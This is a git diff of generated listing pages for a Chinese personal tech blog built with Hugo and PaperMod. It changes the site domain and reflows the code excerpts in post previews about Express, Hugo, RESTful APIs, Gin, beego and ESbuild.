+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用Express-Web应用框架</h2></header><div class=entry-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express –save
 或者安装express-generator脚手架
@@ -11,12 +11,7 @@
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require("express")
-const app = express()
-app.get('/',function(req,res){ res.end("hallo world!")
-})
-app.listen(3000)
-运行
+const express = require("express") const app = express() app.get('/',function(req,res){ res.end("hallo world!") }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -27,18 +22,7 @@
 app.use(require(‘cors’)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require('mongoose')
-mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
-const testdb = mongoose.model('testdb',new mongoose.Schema({
-_id: Number,
-title: String
-}))
-/*testdb.inserMany([
-{_id: 1, title: "abc"},
-{_id: 2, title: "xyz"}
-{_id: 3, title: "abcxyz"}
-])*/
-app....</p></div><footer class=entry-footer><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://xiaochenabc123.github.io/posts/138/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
+const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: "abc"}, {_id: 2, title: "xyz"} {_id: 3, title: "abcxyz"} ])*/ app....</p></div><footer class=entry-footer><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://chenjunlinabc.github.io/posts/138/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
 https://github.com/gohugoio/hugo/releases
@@ -63,7 +47,7 @@
 如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本
 部署到github pages
 hugo –baseUrl=“http://chenjunlinabc.github.io/"
-如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://xiaochenabc123.github.io/posts/137/></a></article><article class=post-entry><header class=entry-header><h2>简单了解RESTful设计规范</h2></header><div class=entry-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
+如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://chenjunlinabc.github.io/posts/137/></a></article><article class=post-entry><header class=entry-header><h2>简单了解RESTful设计规范</h2></header><div class=entry-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
 状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）
@@ -79,41 +63,21 @@
 HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）
 如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用
 需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等
-简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=entry-footer><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://xiaochenabc123.github.io/posts/136/></a></article><article class=post-entry><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
+简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=entry-footer><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://chenjunlinabc.github.io/posts/136/></a></article><article class=post-entry><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
-import "github.com/gin-gonic/gin"
-import "net/http"
-func main() {
-g := gin.Default()
-g.GET("/", func(c *gin.Context) {
-c.String(http.StatusOK, "hallo word")
-})
-g.Run()
-}
-go run main.go
+package main import "github.com/gin-gonic/gin" import "net/http" func main() { g := gin.Default() g.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "hallo word") }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(":2333")
 路由
-r.GET("/test/:name", func(c *gin.Context) {
-name := c.Param("name")
-c.String(http.StatusOK, name)
-})
-g.Run(":6666")
-127.0.0.1:6666/test/xiaochen
+r.GET("/test/:name", func(c *gin.Context) { name := c.Param("name") c.String(http.StatusOK, name) }) g.Run(":6666") 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET("/test", func(c *gin.Context) {
-name := c.DefaultQuery("name", "test")
-c.String(http.StatusOK, fmt.Sprintf("hallo %s", name))
-})
-r.Run()
-127.0.0.1:6666/test
+r.GET("/test", func(c *gin.Context) { name := c.DefaultQuery("name", "test") c.String(http.StatusOK, fmt.Sprintf("hallo %s", name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
-index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://xiaochenabc123.github.io/posts/135/></a></article><article class=post-entry><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
+index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://chenjunlinabc.github.io/posts/135/></a></article><article class=post-entry><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
 go get github.com/beego/bee
@@ -137,21 +101,15 @@
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString("name")
-c.Data["Website"] = name
-访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString("name") c.Data["Website"] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = “index.tpl”，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&lt;div class="author">
-Official website:
-&lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> /
-Contact me:
-&lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://xiaochenabc123.github.io/posts/134/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/4/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&lt;div class="author"> Official website: &lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> / Contact me: &lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://chenjunlinabc.github.io/posts/134/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/4/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/6/index.html b/posts/page/6/index.html
index 7c5eacaa..24d2b376 100644
--- a/posts/page/6/index.html
+++ b/posts/page/6/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
 安装
@@ -15,24 +15,9 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
-import ReactDOM from 'react-dom'
-const App = () => {
-return (
-&lt;div>
-&lt;h1>Hallo, Esbuild!&lt;/h1>
-&lt;/div>
-)
-}
-ReactDOM.render(
-&lt;App />,
-document.getElementById("app")
-)
-index.html
-&lt;div id="app">&lt;/div>
-&lt;script src="./build/index.js">&lt;/script>
-我本地打包只花64ms就打包好了
